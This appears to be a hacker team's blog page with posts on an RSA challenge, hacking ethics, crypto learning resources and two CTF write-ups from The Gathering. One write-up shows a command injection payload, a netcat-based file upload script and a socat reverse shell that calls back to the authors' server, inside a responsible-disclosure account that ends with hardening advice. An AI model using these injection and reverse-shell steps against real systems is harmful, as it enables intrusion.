We almost understand RSA now

27/04/17 — capitol


After intense study of the RSA algorithm, we think that we have almost managed to implement it correctly.

Can any of you break our encryption scheme?

telnet 2a02:ed06::2033 12347

telnet 12347

Happy hacking!

Resources for becoming a better hacker - Part 2, ethics

19/04/17 — capitol


The second topic for our series on learning material will cover a slightly unorthodox subject regarding hacking, the ethical aspect of the hobby.

It’s easy to just disregard the subject, either from the viewpoint that all hacking is criminal and therefore unethical, or from the standpoint that if it can be done then it should be done and therefore ethical.

The truth is of course somewhere in between, and it’s quite personal where you land in the spectrum. I would therefore like to present a reading list on the subject, so that you can come to your own conclusions.

Lets start with a classic from the book Hackers: Heroes of the Computer Revolution: Hacker ethics.

And a critique of it here.

It doesn’t really have anything to with computer security, but its still quite important to have read.

Lets start touching on the security aspect of hacking with some jargon.

There can be many reasons to investigate the security of a system, one is hacktivism, a loaded word that was first coined by Cult of the Dead Cow, the original paper can be interesting to read.

Or a hacker might be working within a academic or business context that need a code of conduct.

If you are more academically inclined, then this is a good read and here is an overview of other papers.

There is also very different attitudes on what to do with found security holes. A spook or a black hat might want to keep the information secret, in order to weaponize it, while a white hat will report it.

Writeup for auto challenge at The Gathering

18/04/17 — capitol









The auto challenge piped a base64 encoded binary at us, and then asked us to provide the password from that binary.

Visual inspection showed us that something that looked like a password was stored in plain text between the strings “Password:” and “You did it”.

When the correct password was returned within a second, the whole thing repeated. After about 5 or 6 times the flag was returned.

I wrote a small java function to extract the string and send that back:

    public void solve() throws Exception {
        String hostName = "auto.tghack.no";
        int portNumber = 2270;

        try (
                Socket echoSocket = new Socket(hostName, portNumber);
                PrintWriter out = new PrintWriter(echoSocket.getOutputStream(), true);
                BufferedReader in = new BufferedReader(new InputStreamReader(echoSocket.getInputStream()));
        ) {
            while(true) {
                String input = in.readLine();

                System.out.println("input = " + input);
                byte[] decoded = Base64.getDecoder().decode(input);

                String b = new String(decoded);

                String password = b.substring(b.indexOf("Password:") + 13, b.indexOf("You did it") - 1);

                String input2 = in.readLine();
                System.out.println("input1 = " + input2);


                input2 = in.readLine();
                System.out.println("input2 = " + input2);

The flag was TG17{bin4ries_3verywhere_wh4t_t0_d0}

Investigating the ctf infrastructure at The Gathering

17/04/17 — capitol









The biggest lan party here in norway is The Gathering, and they also organize a small ctf, tghack.

The Time challenge presented us with a prompt for our name, and then printed that name and the current time.

The server side code did this by running a shell command, and the input wasn’t sanitized.

We got the flag by entering $(cat flag.txt) as the name. It was TG17{tick_t0ck_arbitrary_c0de_execution}.

But then we looked around some more, and discovered that /tmp was writeable and executable, and gcc was also installed. A peek at the files in /etc confirmed our guess that it ran as a docker image.

Someone also entered a fork bomb into the challenge, and that confirmed that many of the challenges ran on the same host, as the organizers hadn’t set any limit or cgroup rules.

At this point we decided it was time to do some responsible disclosure to the organizers. As it might have been possible to MITM the network traffic to the other challenges with an arp poison attack, as described here.

That done we wrote a small program to upload our binaries to /tmp/

# made for tghack '17
# desc: upload a file chunked through a shell with length
#       restrictions of commands. you might need to manually
#       tune the BUFLEN to stay within the limits. sh syntax
#       errors appears when you're out of bounds.
# todo: progress bar

if [[ -z "$HOST" || -z "$PORT" || -z "$FILE" || -z "$DEST" ]]; then
  >&2 echo "Missing argument(s). Usage: program <host> <port> <file> [<dest>]"
  exit 2

# Compress file and remove newlines to make it easy to echo
COMPRESSED="$(gzip -c $FILE | base64 | tr -d '\n')"


NETCAT="nc -q 0 $HOST $PORT"

# Upload file
while [ $INDEX -le $SIZE ]; do

  # Pipe chunk through netcat and append to destination file
  # \x60 is a backtick
  printf '\x60echo \x27%b\x27>>%b\x60' "$SUBSTR" "$DEST" | $NETCAT


# Decompress and make executable
printf '\x60cat %b|base64 -d|zcat>%b.sh\x60' $DEST $DEST | $NETCAT
printf '\x60chmod +x %b.sh\x60' $DEST | $NETCAT

echo "Executable at $DEST.sh"

Some more exploring reveled that they hadn’t blocked outgoing connections from the docker image, so we created the reverse shell binary:

socat tcp:$1:$2 exec:"bash -i",pty,stderr,setsid,sigint,sane

uploaded it to the server:

ncupl time.tghack.no 1111 ./reverse-shell.sh c

started listening for connections on our own server:

socat -,raw,echo=0 tcp-listen:14243

then initiated the reverse shell connection from the remote host:

echo '$(/tmp/c.sh <our serverip> 14243)' | nc time.tghack.no 1111

This made it a lot easier to explore the system, unfortunately other obligations came up, so we didn’t manage to find any other vulnerabilities.

Our recommendations for hosting challenges are these:

  1. Set limits on the amount of resources each challenge can consume, so that a problem with one challenge doesn’t block people from using the other challenges.
  2. Lock down the file system if it’s not part of the challenge to gain a shell, no need to have any of it writeable.
  3. Letting people send network traffic out might not be the best thing, no need to be a jump host in real attacks.

We would also like to give credit to the organizers of the ctf, for building a lot of nice challenges that did a great job of teaching those that are new to the hobby. They were also very responsive when we reported problems to them.

Resources for becoming a better hacker - Part 1, crypto

10/04/17 — capitol


The skill set of a good hacker should cover a wide array of different topics, today we are going to take a dive into one of those areas - Cryptographic systems.

Modern cryptography is a field that really took off 1976 when Diffie and Hellman introduced public-key cryptography and a method for key exchange based on the discrete logarithm problem. Since then there has been many great developments within the field and more algorithms have been designed based on hard mathematical problems.

Thankfully most people (that are not doing it as a living) have stopped inventing their own encryption algorithms, so it’s rare that there is a weakness in the algorithm. But that doesn’t mean that there isn’t any avenues for attack for a skilled hacker. There is no shortage of mistakes being made in the implementation of the algorithms that we think are safe, and even if the implementation is without obvious exploits then it might leak information through side channels (caches, timing, power usage) or maybe the implementation of the random number generator can be attacked.

In order to be able to understand the how to build secure systems, or how to attack them, I recommend two things, a solid theoretical understanding and lots of practice.

Theoretical Texts

One of the classic books on the subject is “Handbook of Applied Cryptography” and is available for free here:


Useful Libraries

There is a lot of libraries that implement cryptographic primitives so that you don’t have to reinvent wheels. I have listed to two biggest ones for python and java below, but there isn’t any shortage of libraries for other languages.

Python: pycrypto

Java: bouncycastle

Training Exercises

Theoretical knowledge is great, but there is no more effective way to learn something than to practice it. These are sets of challenges that lets you try to figure and implement solutions.

The best set of training exercises I have found is the cryptopals one.




(image by parameter_bond, Creative Commons 2.0)